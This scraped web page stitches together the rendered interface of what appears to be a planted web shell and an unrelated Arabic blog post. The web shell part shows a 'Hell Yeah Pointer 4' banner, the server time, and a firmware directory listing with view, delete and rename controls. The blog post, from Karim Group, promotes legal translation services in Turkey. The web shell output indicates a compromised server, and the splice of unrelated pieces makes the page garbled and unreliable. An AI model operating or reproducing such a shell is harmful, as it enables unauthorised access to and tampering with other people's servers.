Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-10 16:06:29
curdir: / / lib / firmware / rtlwifi / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:17:34 0755
.. 20480 2026-01-04 11:42:24 0755
rtl8188efw.bin 11216 2025-11-05 14:02:46 0644
rtl8188eufw.bin 15262 2025-11-05 14:02:47 0644
rtl8188fufw.bin 21020 2025-11-05 14:02:47 0644
rtl8192cfw.bin 16192 2025-11-05 14:02:45 0644
rtl8192cfwU.bin 14818 2025-11-05 14:02:45 0644
rtl8192cfwU_B.bin 16332 2025-11-05 14:02:45 0644
rtl8192cufw.bin 16014 2025-11-05 14:02:45 0644
rtl8192cufw_A.bin 16126 2025-11-05 14:02:45 0644
rtl8192cufw_B.bin 16096 2025-11-05 14:02:45 0644
rtl8192cufw_TMSC.bin 16126 2025-11-05 14:02:45 0644
rtl8192defw.bin 31376 2025-11-05 14:02:46 0644
rtl8192dufw.bin 31452 2025-11-05 14:02:46 0644
rtl8192eefw.bin 32286 2025-11-05 14:02:46 0644
rtl8192eu_ap_wowlan.bin 25264 2025-11-05 14:02:47 0644
rtl8192eu_nic.bin 32286 2025-11-05 14:02:46 0644
rtl8192eu_wowlan.bin 29008 2025-11-05 14:02:47 0644
rtl8192fufw.bin 31136 2025-11-05 14:02:47 0644
rtl8192sefw.bin 80208 2025-11-05 14:02:45 0644
rtl8710bufw_SMIC.bin 23750 2025-11-05 14:02:47 0644
rtl8710bufw_UMC.bin 22654 2025-11-05 14:02:47 0644
rtl8712u.bin 122328 2025-11-05 14:02:45 0644
rtl8723aufw_A.bin 22172 2025-11-05 14:02:46 0644
rtl8723aufw_B.bin 24118 2025-11-05 14:02:46 0644
rtl8723aufw_B_NoBT.bin 19200 2025-11-05 14:02:46 0644
rtl8723befw.bin 30746 2025-11-05 14:02:46 0644
rtl8723befw_36.bin 31762 2025-11-05 14:02:46 0644
rtl8723bs_ap_wowlan.bin 20886 2025-11-05 14:02:46 0644
rtl8723bs_bt.bin 9120 2025-11-05 14:02:46 0644
rtl8723bs_nic.bin 32108 2025-11-05 14:02:46 0644
rtl8723bs_wowlan.bin 26398 2025-11-05 14:02:46 0644
rtl8723bu_ap_wowlan.bin 20886 2025-11-05 14:02:46 0644
rtl8723bu_nic.bin 32108 2025-11-05 14:02:46 0644
rtl8723bu_wowlan.bin 26398 2025-11-05 14:02:46 0644
rtl8723defw.bin 27726 2025-11-05 14:02:46 0644
rtl8723fw.bin 11662 2025-11-05 14:02:46 0644
rtl8723fw_B.bin 22996 2025-11-05 14:02:46 0644
rtl8812aefw.bin 27516 2025-11-05 14:02:46 0644
rtl8812aefw_wowlan.bin 21204 2025-11-05 14:02:46 0644
rtl8821aefw.bin 28984 2025-11-05 14:02:46 0644
rtl8821aefw_29.bin 28348 2025-11-05 14:02:46 0644
rtl8821aefw_wowlan.bin 19858 2025-11-05 14:02:46 0644
rtl8822befw.bin 127496 2025-11-05 14:02:46 0644
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.